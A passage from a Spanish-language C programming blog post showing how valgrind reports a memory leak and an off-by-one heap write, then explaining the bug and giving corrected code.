==30042== Memcheck, a memory error detector.
==30042== Copyright (C) 2002-2007, and GNU GPL’d, by Julian Seward et al.
==30042== Using LibVEX rev 1854, a library for dynamic binary translation.
==30042== Copyright (C) 2004-2007, and GNU GPL’d, by OpenWorks LLP.
==30042== Using valgrind-3.3.1-Debian, a dynamic binary instrumentation framework.
==30042== Copyright (C) 2000-2007, and GNU GPL’d, by Julian Seward et al.
==30042== For more details, rerun with: -v
==30042==
==30042==
==30042== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 13 from 1)
==30042== malloc/free: in use at exit: 10 bytes in 1 blocks.
==30042== malloc/free: 1 allocs, 0 frees, 10 bytes allocated.
==30042== For counts of detected errors, rerun with: -v
==30042== searching for pointers to 1 not-freed blocks.
==30042== checked 59,868 bytes.
==30042==
==30042== LEAK SUMMARY:
==30042==    definitely lost: 10 bytes in 1 blocks.
==30042==      possibly lost: 0 bytes in 0 blocks.
==30042==    still reachable: 0 bytes in 0 blocks.
==30042==         suppressed: 0 bytes in 0 blocks.
==30042== Rerun with –leak-check=full to see details of leaked memory.

Inicialmente, nos informa de que hemos reservado 10 bytes que no han sido liberados antes de finalizar el programa. Ahora ejecutaremos valgrind con la opción “–leak-check=full” para mayor información, y además de la información anterior, nos dice:

==30171== 10 bytes in 1 blocks are definitely lost in loss record 1 of 1
==30171==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==30171==    by 0x80483C8: main (p1.c:5)

Este ejemplo es muy básico, y solo nos muestra un mensaje de error, así que ahora vamos a provocar un error menos evidente colocando correctamente las llamadas a free:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)]='B';
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Aparentemente parece que todo está bien, incluso si lo compilamos y ejecutamos, lo más probable es que tengamos los printf`s esperados, así que compilando de nuevo con la opción “-g” vamos a ver qué dice valgrind:

$ valgrind –leak-check=full ./p1
==32101== Invalid write of size 1
==32101==    at 0×8048469: main (p1.c:14)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0×4024483: strlen (mc_replace_strmem.c:242)
==32101==    by 0×4094604: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x40A0C38: _IO_default_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x409DCB0: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DADC: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DA6B: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
==32101==
==32101== ERROR SUMMARY: 29 errors from 5 contexts (suppressed: 13 from 1)
==32101== malloc/free: in use at exit: 0 bytes in 0 blocks.
==32101== malloc/free: 6 allocs, 6 frees, 36 bytes allocated.
==32101== For counts of detected errors, rerun with: -v
==32101== All heap blocks were freed — no leaks are possible.

Según valgrind, tenemos errores en las lineas 11 y 15:

11: p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
15: printf("%s\n",p[i]);

Aunque todo parece estar bien, el error no está en esas líneas, sino que en esas líneas es donde se produce el error. Si se revisan las posiciones del array “p” y los accesos a sus posiciones,  vemos que en la linea 14 estamos accediendo a:

14: p[i][sizeof(p)/sizeof(*p)]='B';

Vamos a verlo de otra manera, reemplazamos “sizeof(p)/sizeof(*p)” por el número ’6′ para hacer el asunto más evidente:

11: p[i]=(char*)calloc(6,sizeof(char));
14: p[i][6]='B';

Se ve claro que la última posición del array ‘p[i]‘ no es 6 sino 5, por tanto al recorrer el array y asignar a cada una de sus posiciones un valor distinto de nulo, incluso en la posición 6 que está fuera del array:

12: for(j=0;j<6;j++)
13:	p[i][j]='a';
14: p[i][6]='B';

La llamada a “printf” fallará al calcular la longitud del array, ya que buscará un carácter nulo fuera de los límites del array, y esto es de lo que nos advierte valgrind. El código correcto en este caso sería:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)-1]=0;
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Por supuesto valgrind no está limitado a los casos que he planteado, a su vez puede cargar varias herramientas a modo de plugins para ayudarnos en el análisis (simulación de memoria caché, gráficos de llamadas, heap profiler, etc.).

Más información sobre valgrind:

http://www.valgrind.org/
http://en.wikipedia.org/wiki/Valgrind

Categories: C/C++, GNU/Linux, Programacion, Seguridad Tags: